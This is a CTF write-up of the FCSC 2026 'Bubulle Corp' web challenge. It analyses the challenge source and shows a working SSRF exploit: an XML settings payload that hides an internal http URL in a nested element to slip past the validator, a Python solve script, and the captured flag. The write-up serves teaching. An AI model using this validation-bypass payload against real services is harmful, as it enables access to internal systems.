Informations

FieldValue
CTFFCSC 2026
CategoryWeb
DifficultyEasy
Points173
Solves173

Description

Bubulle Corp recrute ! Rejoignez notre équipe d’experts marins et aidez-nous à surveiller les opérations en haute mer depuis notre tout nouveau tableau de bord.

En tant que nouvelle recrue, vous aurez accès au suivi de la flotte, aux rapports de pêche et aux analyses de profondeur. Mais la rumeur dit que le capitaine cache sa recette secrète de Paella quelque part sur la plateforme…

Saurez-vous la retrouver ?

Source code is given: bubulle-corp.tar.xz

Analysis

Architecture overview

The source archive contains three services:

 1$ tree
 2.
 3├── bubulle-corp
 4│   ├── docker-compose.yml
 5│   └── src
 6│       ├── internal-backend
 7│       │   ├── Dockerfile
 8│       │   ├── app.py
 9│       │   ├── paella.txt
10│       │   └── requirements.txt
11│       ├── internal-proxy
12│       │   ├── Dockerfile
13│       │   ├── apache.conf
14│       │   └── flag.txt
15│       └── public-frontend
16│           ├── Dockerfile
17│           ├── app
18│           │   ├── __init__.py
19│           │   ├── auth.py
20│           │   ├── db.py
21│           │   ├── icon.py
22│           │   ├── routes.py
23│           │   ├── static
24│           │   │   ├── blowfish.svg
25│           │   │   └── style.css
26│           │   └── templates
27│           │       ├── index.html
28│           │       ├── login.html
29│           │       ├── register.html
30│           │       └── settings.html
31│           ├── requirements.txt
32│           └── wsgi.py
33└── bubulle-corp.tar.xz
  • public-frontend: the only internet-exposed Flask application, on the dmz network
  • internal-proxy: an Apache proxy on both the dmz and internal networks. Its routing is unusual: it proxies only the exact root path / to the backend, while any other path (^/.+) is served directly as flag.txt via an AliasMatch rule
  • internal-backend: a minimal Flask app on the internal network only, exposing / (Hello World!) and /flag (returns the FLAG env var)

Regarding the architecture, the target is clear: find an SSRF vulnerability to reach the internal proxy from the frontend to get the flag.

Finding the SSRF

The /icon endpoint fetches a URL on behalf of the authenticated user:

 1@bp.route("/icon")
 2@login_required
 3def icon():
 4    db = get_db()
 5    user = db.execute("SELECT * FROM users WHERE id = ?", (session["user_id"],)).fetchone()
 6
 7    try:
 8        data, content_type = fetch_icon(user["settings"])
 9    except Exception as e:
10        return "Failed to fetch icon", 502
11
12    return data, 200, {"Content-Type": content_type}

It reads the user’s stored settings (an XML blob) and passes them to fetch_icon:

 1def fetch_icon(settings_xml):
 2    root = ET.fromstring(settings_xml.encode())
 3
 4    icon_url = root.find(".//icon_url").text
 5    method = root.find(".//method").text
 6    body = root.find(".//body").text if root.find(".//body") else None
 7
 8    if icon_url == "DEFAULT":
 9        return (open("./app/static/blowfish.svg"), "image/svg+xml")
10
11    buffer = io.BytesIO()
12    c = pycurl.Curl()
13    c.setopt(pycurl.URL, icon_url.encode("latin1"))
14    c.setopt(pycurl.CUSTOMREQUEST, method.encode("latin1"))
15    c.setopt(pycurl.WRITEDATA, buffer)
16    c.setopt(pycurl.TIMEOUT, 5)
17    c.setopt(pycurl.SSL_VERIFYPEER, 0)
18    c.setopt(pycurl.SSL_VERIFYHOST, 0)
19
20    if body:
21        c.setopt(pycurl.POSTFIELDS, body.encode("latin1"))
22
23    c.perform()
24    c.close()
25
26    return (buffer.getvalue(), "image/png")

The icon_url value extracted from the XML is passed to pycurl without scheme restriction or allowlist. If we control the stored settings, we can make the server issue an arbitrary HTTP request to any internal host and the response is returned directly to us.

XML parsing discrepancy

The bottleneck is the /settings endpoint, which validates the XML before storing it:

 1@bp.route("/settings", methods=["GET", "POST"])
 2@login_required
 3def settings():
 4    db = get_db()
 5    user = db.execute("SELECT * FROM users WHERE id = ?", (session["user_id"],)).fetchone()
 6
 7    if request.method == "POST":
 8        xml_data = request.form["settings"]
 9
10        try:
11            root = ET.fromstring(xml_data.encode())
12        except ET.XMLSyntaxError:
13            return render_template("settings.html", user=user, error="Invalid XML")
14
15        if root.tag != "settings":
16            return render_template("settings.html", user=user, error="Root element must be <settings>")
17
18        child_tags = [elem.tag for elem in root]
19        if "icon_url" not in child_tags:
20            return render_template("settings.html", user=user, error="Missing <icon_url>")
21        if "method" not in child_tags:
22            return render_template("settings.html", user=user, error="Missing <method>")
23
24        for elem in list(root):
25            if elem.tag == "icon_url" and (not elem.text or not elem.text.startswith("https://")):
26                return render_template("settings.html", user=user, error="Icon URL must start with https://")
27
28            if elem.tag == "method" and elem.text not in ("GET", "POST"):
29                return render_template("settings.html", user=user, error="Method must be GET or POST")
30
31            if elem.tag not in ("icon_url", "method", "body"):
32                root.remove(elem)
33
34        clean = ET.tostring(root, encoding="unicode")
35        db.execute("UPDATE users SET settings = ? WHERE id = ?", (clean, session["user_id"]))
36        db.commit()
37        return redirect("/settings")

The filters enforced are:

  • icon_url must start with https://
  • method must be GET or POST
  • Unknown top-level tags are stripped

Since internal-proxy only speaks http://, we cannot pass the URL check directly. The bypass lies in how each endpoint traverses the XML tree.

/settings iterates only over direct children of <settings> (for elem in list(root)). It applies filters and removes unknown tags — but only at depth 1.

/icon uses root.find(".//icon_url"), which performs a recursive deep search and returns the first match at any depth in the document.

This means we can hide a malicious <icon_url> inside a <body> element (which passes the allowlist check), with a decoy <icon_url>https://...</icon_url> at the top level to satisfy the validator. When /icon later processes the stored XML, it finds the nested one first.

Exploitation

To exploit this parsing discrepancy and achieve SSRF, we use the following payload:

1<settings>
2    <body>
3        <icon_url>http://bubulle-corp-internal-proxy/flag</icon_url>
4        <method>GET</method>
5    </body>
6    <icon_url>https://example.com/</icon_url>
7    <method>POST</method>
8</settings>

The /settings page parsing will apply is filter on the top level icon_url and method, while /icon will take the first occurence of icon_url since the start which is here the URL we want to fetch internally: http://bubulle-corp-internal-proxy/flag.

The full solve script to upload the payload and get the result is the following:

 1import os
 2import requests
 3
 4URL = "https://bubulle-corp.fcsc.fr/"
 5
 6PAYLOAD = """
 7<settings>
 8    <body>
 9        <icon_url>http://bubulle-corp-internal-proxy/flag</icon_url>
10        <method>GET</method>
11    </body>
12    <icon_url>https://example.com/</icon_url>
13    <method>POST</method>
14</settings>
15"""
16
17def solve():
18    username = os.urandom(4).hex()
19    password = "Aa1!Aa1!"
20
21    # Requests sesison
22    session = requests.Session()
23
24    ## Register
25    r = session.post(URL + "register", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=f"username={username}&password={password}")
26    
27    ## Login
28    r = session.post(URL + "login", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=f"username={username}&password={password}")
29
30    ## Change settings
31    r = session.post(URL + "settings", headers={"Content-Type": "application/x-www-form-urlencoded"}, data=f"settings={PAYLOAD}")
32
33    ## Get the icon
34    r = session.get(URL + "icon")
35
36    ## Flag
37    print(f"Flag: {r.text.strip()}")
38    
39solve()

Running it:

1$ python3 solve.py
2Flag: FCSC{c22f014ba1aac9b3c487989156c470b0}

Flag

1FCSC{c22f014ba1aac9b3c487989156c470b0}